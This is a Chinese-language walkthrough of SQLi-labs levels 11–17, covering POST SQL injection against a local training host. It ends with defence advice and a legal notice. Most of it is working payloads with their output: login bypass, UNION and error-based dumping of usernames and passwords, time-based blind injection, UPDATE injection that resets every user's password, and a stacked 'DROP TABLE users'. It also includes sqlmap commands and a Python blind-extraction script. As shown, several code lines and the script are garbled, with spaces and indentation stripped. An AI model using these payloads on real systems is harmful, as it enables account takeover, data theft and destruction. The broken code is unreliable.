SQL-LABS Less-11~17:POST 注入实战完全指南
目录
- POST 注入 vs GET 注入
- Less-11:POST 单引号字符型注入
- Less-12:POST 双引号+括号注入
- Less-13:POST 单引号+括号注入(无回显)
- Less-14:POST 双引号注入(无回显)
- Less-15:POST 时间盲注
- Less-16:POST 双引号+括号时间盲注
- Less-17:POST 密码重置注入
- 防御方法
1. POST 注入 vs GET 注入
核心区别
| 特性 | GET 注入 | POST 注入 |
|---|---|---|
| 参数位置 | URL 查询字符串 | HTTP 请求体 |
| 可见性 | 浏览器地址栏可见 | 不可见 |
| 测试方式 | 直接修改 URL | 需要工具(Burp Suite / Hackbar / curl) |
| 场景 | 搜索框、商品详情页 | 登录框、注册表单、密码修改 |
为什么 POST 注入更隐蔽?
GET /Less-1/?id=1' --+ HTTP/1.1↑ URL 中的单引号会被浏览器历史、服务器日志记录
POST /Less-11/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded uname=admin' --+&passwd=123↑ 单引号在请求体中,日志通常不记录 POST body
2. Less-11:POST 单引号字符型注入
目标
通过登录框注入,绕过认证并获取数据库信息
环境分析
访问http://192.168.43.8/sqli-labs-master/Less-11/
看到标准登录页面:
- 用户名输入框
- 密码输入框
- Submit 按钮
正常登录测试
输入:
Username: admin Password: admin结果:登录成功,显示 “admin” 用户信息
关键思考:后端 SQL 语句可能是:
SELECT*FROMusersWHEREusername='admin'ANDpassword='admin'注入测试
Step 1:判断注入点
用户名输入:admin'
密码:随意
页面报错:
You have an error in your SQL syntax near ''admin'' AND password='' LIMIT 0,1' at line 1分析:
- 看到
'admin''→ 我们输入的单引号后面还有一个单引号 - 闭合方式:
'单引号闭合 - 确认存在注入点!
Step 2:注释掉后面的 SQL
用户名:admin' --+
密码:随意
结果:登录成功!
SQL 语句变化:
原始:SELECT*FROMusersWHEREusername='admin'ANDpassword='123'LIMIT0,1注入后:SELECT*FROMusersWHEREusername='admin'-- ' AND password='123' LIMIT 0,1--后面的内容全部被注释,密码验证被绕过!
Step 3:判断列数
用户名:admin' ORDER BY 3 --+
结果:登录成功 → 至少 3 列
用户名:admin' ORDER BY 4 --+
结果:报错Unknown column '4' in 'order clause'→ 只有 3 列
结论:表有 3 列
Step 4:寻找回显位置
用户名:admin' UNION SELECT 1,2,3 --+
结果:页面显示:
Your Login name: 1 Your Password: 2关键发现:第 2、3 列可以回显!
Step 5:获取数据库信息
用户名:admin' UNION SELECT 1,database(),version() --+
结果:
Your Login name: security Your Password: 5.7.26用户名:admin' UNION SELECT 1,user(),@@datadir --+
结果:
Your Login name: root@localhost Your Password: C:\phpStudy\MySQL\data\Step 6:获取所有表名
用户名:
admin' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security' --+结果:
Your Password: emails,referers,uagents,usersStep 7:获取 users 表的列名
用户名:
admin' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+结果:
Your Password: id,username,passwordStep 8:获取所有用户数据
用户名:
admin' UNION SELECT 1,2,group_concat(username,0x3a,password) FROM users --+结果:
Your Password: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4成功获取 13 个用户的账号密码!
3. Less-12:POST 双引号+括号注入
目标
识别不同的闭合方式
注入过程
Step 1:判断闭合方式
用户名:admin'
报错:
near ''admin'') AND password=("") LIMIT 0,1' at line 1分析:
- 看到
'admin'') - 闭合方式:
")(双引号+右括号)
Step 2:验证闭合
用户名:admin") --+
结果:登录成功!验证闭合正确
Step 3:后续步骤同 Less-11
判断列数:admin") ORDER BY 2 --+✅
判断列数:admin") ORDER BY 3 --+❌ → 只有 2 列!
找回显:admin") UNION SELECT 1,2 --+
结果:
Your Login name: 1 Your Password: 2获取数据:admin") UNION SELECT database(),version() --+
结果:
Your Login name: security Your Password: 5.7.26提取用户数据:
admin") UNION SELECT 1,group_concat(username,0x3a,password) FROM users --+成功获取所有用户!
4. Less-13:POST 单引号+括号注入(无回显)
目标
学习在无数据回显情况下的报错注入
环境分析
访问 Less-13,输入正确账号密码:
结果:只显示一个笑脸图片,没有任何文字回显!
这意味着:
- ✅ 可以判断登录成功/失败
- ❌ 无法通过 UNION SELECT 回显数据
注入策略:报错注入
Step 1:判断闭合方式
用户名:admin'
报错:
near ''admin'') AND password=('') LIMIT 0,1' at line 1分析:闭合方式是')(单引号+右括号)
Step 2:验证闭合
用户名:admin') --+
结果:登录成功(显示笑脸)
Step 3:报错注入获取数据库名
用户名:
admin') AND extractvalue(1,concat(0x7e,database())) --+报错信息:
XPATH syntax error: '~security'成功获取数据库名:security
Step 4:报错注入原理
extractvalue() 函数:
extractvalue(XML文档,XPath路径)正常用法:
SELECTextractvalue('<a>hello</a>','/a');-- 结果:hello注入利用:
- 当 XPath 路径非法时会报错
- 报错信息会包含我们的查询结果
0x7e是~的十六进制,作为分隔符
Step 5:获取表名
用户名:
admin') AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'))) --+报错:
XPATH syntax error: '~emails,referers,uagents,use'注意:报错注入有长度限制(32字符),数据被截断了!
解决方法:使用LIMIT逐个获取
admin') AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1))) --+结果:~emails
admin') AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 3,1))) --+结果:~users
Step 6:获取列名
用户名:
admin') AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1))) --+结果:~username
admin') AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 2,1))) --+结果:~password
Step 7:获取用户数据
用户名:
admin') AND extractvalue(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1))) --+结果:~Dumb:Dumb
逐个获取所有用户:修改 LIMIT 的偏移量即可
关键技巧:
0x3a=:作为分隔符concat()拼接用户名和密码LIMIT 0,1/LIMIT 1,1/LIMIT 2,1逐个获取
5. Less-14:POST 双引号注入(无回显)
快速通关
Step 1:判断闭合
用户名:admin"
报错:
near '"admin"" AND password="" LIMIT 0,1' at line 1闭合方式:"双引号
Step 2:报错注入
用户名:
admin" AND extractvalue(1,concat(0x7e,database())) --+结果:~security
用户名:
admin" AND extractvalue(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1))) --+结果:~Dumb:Dumb
后续步骤同 Less-13
6. Less-15:POST 时间盲注
目标
学习在完全无回显、无报错的情况下注入
环境分析
输入admin' --+:
结果:既不报错,也不显示成功/失败信息,只有一个图片!
这意味着:
- ❌ 无数据回显
- ❌ 无报错信息
- ❌ 无法判断 SQL 执行结果
唯一可用的信息:页面响应时间!
注入策略:时间盲注
Step 1:判断闭合方式
由于无报错,需要用时间判断:
用户名:admin' AND sleep(5) --+
结果:页面 5 秒后才返回 → 闭合正确!
用户名:admin" AND sleep(5) --+
结果:立即返回 → 闭合错误
结论:闭合方式是'单引号
Step 2:时间盲注原理
核心函数:sleep(秒数)
SELECT*FROMusersWHEREusername='admin'ANDsleep(5)--+' AND password=''- 如果 SQL 执行成功 →
sleep(5)会执行 → 页面 5 秒后返回 - 如果 SQL 语法错误 → 立即返回
Step 3:逐字符猜解数据库名
思路:
- 猜测数据库名的第 1 个字符是否为 ‘s’
- 如果是 → sleep(5) → 页面延迟
- 如果不是 → 立即返回
用户名:
admin' AND IF(substr(database(),1,1)='s',sleep(5),0) --+结果:延迟 5 秒 → 第 1 个字符是 ‘s’ ✅
用户名:
admin' AND IF(substr(database(),2,1)='e',sleep(5),0) --+结果:延迟 5 秒 → 第 2 个字符是 ‘e’ ✅
用户名:
admin' AND IF(substr(database(),3,1)='c',sleep(5),0) --+结果:延迟 5 秒 → 第 3 个字符是 ‘c’ ✅
用户名:
admin' AND IF(substr(database(),4,1)='u',sleep(5),0) --+结果:延迟 5 秒 → 第 4 个字符是 ‘u’ ✅
继续猜解…
最终得到:security
Step 4:使用 ASCII 码优化
用户名:
admin' AND IF(ascii(substr(database(),1,1))>100,sleep(5),0) --+ascii('s')= 115- 115 > 100 → 延迟 5 秒 ✅
用户名:
admin' AND IF(ascii(substr(database(),1,1))>110,sleep(5),0) --+- 115 > 110 → 延迟 5 秒 ✅
用户名:
admin' AND IF(ascii(substr(database(),1,1))>115,sleep(5),0) --+- 115 > 115 → 否 → 立即返回 ❌
用户名:
admin' AND IF(ascii(substr(database(),1,1))=115,sleep(5),0) --+- 115 = 115 → 延迟 5 秒 ✅
确认第 1 个字符 ASCII 码为 115,即 ‘s’
Step 5:获取数据库名长度
用户名:
admin' AND IF(length(database())=8,sleep(5),0) --+结果:延迟 5 秒 → 数据库名长度为 8
Step 6:获取表名
用户名:
admin' AND IF(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 3,1),1,1)='u',sleep(5),0) --+结果:延迟 5 秒 → users 表的第 1 个字符是 ‘u’ ✅
手工时间盲注太慢!建议用 SQLmap 自动化
7. Less-16:POST 双引号+括号时间盲注
快速通关
Step 1:判断闭合
用户名:admin") AND sleep(5) --+
结果:延迟 5 秒 → 闭合方式是")✅
Step 2:时间盲注
用户名:
admin") AND IF(substr(database(),1,1)='s',sleep(5),0) --+结果:延迟 5 秒 → 数据库名第 1 个字符是 ‘s’ ✅
后续步骤同 Less-15,建议用 SQLmap
8. Less-17:POST 密码重置注入
目标
UPDATE 语句注入(最危险的注入类型之一)
环境分析
访问 Less-17,看到密码重置页面:
- 用户名输入框
- 新密码输入框
- Update Password 按钮
输入:
Username: admin New Password: test123结果:admin用户密码被修改为test123
后端 SQL 语句:
UPDATEusersSETpassword='test123'WHEREusername='admin'注入测试
Step 1:判断注入点
用户名:admin'
新密码:123
报错:
You have an error in your SQL syntax near 'admin'' at line 1确认存在注入点!
Step 2:判断闭合方式
分析报错信息:near 'admin''→ 闭合方式是'单引号
Step 3:危险操作 - 修改所有用户密码
用户名:admin' --+
新密码:hacked666
SQL 语句变化:
原始:UPDATEusersSETpassword='hacked666'WHEREusername='admin'--+'注入后:UPDATEusersSETpassword='hacked666'WHEREusername='admin'--+'--注释掉后面的单引号,密码验证被绕过
结果:admin 用户密码被修改为 hacked666
Step 4:更危险 - 修改指定用户密码
用户名:admin' WHERE username='batman' --+
新密码:hacked999
SQL 语句:
UPDATEusersSETpassword='hacked999'WHEREusername='admin'WHEREusername='batman'--+'注意:这会报错,因为不能有两个 WHERE
正确姿势:
用户名:admin' AND 1=2 UNION SELECT 1,2,3 WHERE username='batman' --+
更简单的方法:
用户名:batman' --+
新密码:hacked999
直接就能改 batman 的密码!
Step 5:危险操作 - 修改所有用户密码为同一个
用户名:admin' OR 1=1 --+
新密码:123456
SQL 语句:
UPDATEusersSETpassword='123456'WHEREusername='admin'OR1=1--+'结果:所有用户的密码都被改成 123456!
为什么?
WHERE username='admin' OR 1=11=1永远为真- 所以所有记录都满足条件
- 所有用户密码被修改!
Step 6:报错注入获取数据
用户名:
admin' AND extractvalue(1,concat(0x7e,database())) --+新密码:随意
报错:
XPATH syntax error: '~security'获取其他用户的密码:
admin' AND extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username='batman'))) --+报错:
XPATH syntax error: '~mob!le'成功获取 batman 的密码:mob!le
Step 7:堆叠注入(如果支持)
某些数据库支持用;分隔执行多条 SQL:
用户名:admin'; DROP TABLE users --+
SQL 语句:
UPDATEusersSETpassword='xxx'WHEREusername='admin';DROPTABLEusers--+'结果:users 表被删除!(SQLi-LABS 不支持堆叠注入,但实际环境可能支持)
9. 防御方法
1. 预编译语句(最有效)
错误示范(Less-11 源码):
$sql="SELECT * FROM users WHERE username='$uname' AND password='$passwd' LIMIT 0,1";$result=mysql_query($sql);正确做法:
$stmt=$pdo->prepare("SELECT * FROM users WHERE username=? AND password=? LIMIT 1");$stmt->execute([$uname,$passwd]);原理:
- SQL 语句和参数分离
- 数据库先编译 SQL 模板
- 参数作为纯数据传入,不会被解析为 SQL 代码
2. 输入过滤与验证
// 白名单验证if(!preg_match('/^[a-zA-Z0-9_]+$/',$username)){die("非法用户名");}// 长度限制if(strlen($username)>20){die("用户名过长");}3. 错误信息隐藏
错误示范:
echomysql_error();// 直接输出数据库错误正确做法:
if(!$result){error_log(mysql_error());// 记录到日志die("系统错误,请联系管理员");// 给用户显示通用错误}4. 最小权限原则
-- 不要用 root 连接数据库CREATEUSER'webapp'@'localhost'IDENTIFIEDBY'password';GRANTSELECT,INSERT,UPDATEONsecurity.*TO'webapp'@'localhost';-- 不给 DELETE, DROP 权限5. WAF(Web 应用防火墙)
- ModSecurity
- 云 WAF(阿里云、腾讯云)
- 自定义规则拦截
union,select,sleep等关键字
注意:WAF 可被绕过,不能作为唯一防御!
6. 代码审计工具
- SonarQube:静态代码分析
- Fortify:安全漏洞扫描
- 人工审计:定期 Code Review
Less-11~17 总结对比
| 关卡 | 闭合方式 | 注入类型 | 回显方式 | 难度 |
|---|---|---|---|---|
| Less-11 | ' | 联合查询注入 | 页面回显 | ⭐ |
| Less-12 | ") | 联合查询注入 | 页面回显 | ⭐ |
| Less-13 | ') | 报错注入 | 报错信息 | ⭐⭐ |
| Less-14 | " | 报错注入 | 报错信息 | ⭐⭐ |
| Less-15 | ' | 时间盲注 | 响应时间 | ⭐⭐⭐ |
| Less-16 | ") | 时间盲注 | 响应时间 | ⭐⭐⭐ |
| Less-17 | ' | UPDATE 注入 | 页面回显 | ⭐⭐⭐⭐ |
实战技巧总结
1. 判断闭合方式的通用流程
1. 输入 admin' → 看报错信息中多余的符号 2. 输入 admin" → 尝试双引号 3. 输入 admin') → 尝试单引号+括号 4. 输入 admin") → 尝试双引号+括号2. POST 注入工具选择
| 工具 | 适用场景 | 难度 |
|---|---|---|
| Burp Suite | 抓包改包,精确控制 | 中 |
| Hackbar | 浏览器插件,快速测试 | 低 |
| curl | 命令行工具 | 中 |
| SQLmap | 自动化注入 | 低 |
3. Burp Suite 使用流程
- 打开 Burp → Proxy → Intercept is on
- 浏览器设置代理 127.0.0.1:8080
- 访问登录页面并提交
- Burp 抓到 POST 请求
- 右键 → Send to Repeater
- 修改
uname=admin'参数 - 点击 Send 发送
- 查看 Response 响应
4. SQLmap POST 注入命令
# 保存请求包到文件cat>less11.txt<<EOF POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.43.8 Content-Type: application/x-www-form-urlencoded uname=admin&passwd=123&submit=Submit EOF# 自动注入sqlmap-rless11.txt-puname--dbs# 指定数据库获取表sqlmap-rless11.txt-puname-Dsecurity--tables# 获取 users 表数据sqlmap-rless11.txt-puname-Dsecurity-Tusers--dump5. 时间盲注优化脚本
手工太慢,用 Python 自动化:
importrequestsimporttime url="http://192.168.43.8/sqli-labs-master/Less-15/"result=""# 猜解数据库名foriinrange(1,20):forcin"abcdefghijklmnopqrstuvwxyz":payload=f"admin' AND IF(substr(database(),{i},1)='{c}',sleep(3),0) --+"data={"uname":payload,"passwd":"123","submit":"Submit"}start=time.time()requests.post(url,data=data)end=time.time()ifend-start>3:result+=cprint(f"[+] 第{i}个字符:{c}| 当前结果:{result}")breakelse:breakprint(f"[+] 最终结果:{result}")关键知识点回顾
POST vs GET 注入核心区别
- GET:参数在 URL,可见,易测试
- POST:参数在请求体,隐蔽,需工具
三种注入类型对比
| 类型 | 条件 | 速度 | 难度 |
|---|---|---|---|
| 联合查询 | 有数据回显 | 快 | 低 |
| 报错注入 | 有报错信息 | 中 | 中 |
| 时间盲注 | 完全无回显 | 慢 | 高 |
闭合方式识别技巧
- 看报错信息中的多余符号
'admin''→'闭合"admin""→"闭合'admin'')→')闭合"admin"")→")闭合
UPDATE 注入的危险性
- 可修改任意用户密码
OR 1=1可修改所有记录- 可导致数据被篡改、删除
- 危害等级:极高
⚠️ 法律声明
本文内容仅供授权的安全测试和学习研究使用。
严禁用于:
- 未授权的系统渗透
- 非法获取他人数据
- 破坏计算机信息系统
违法后果:
根据《中华人民共和国网络安全法》和《刑法》第285、286条:
- 非法入侵计算机系统:3年以下有期徒刑
- 情节严重:3-7年有期徒刑
- 造成严重后果:7年以上有期徒刑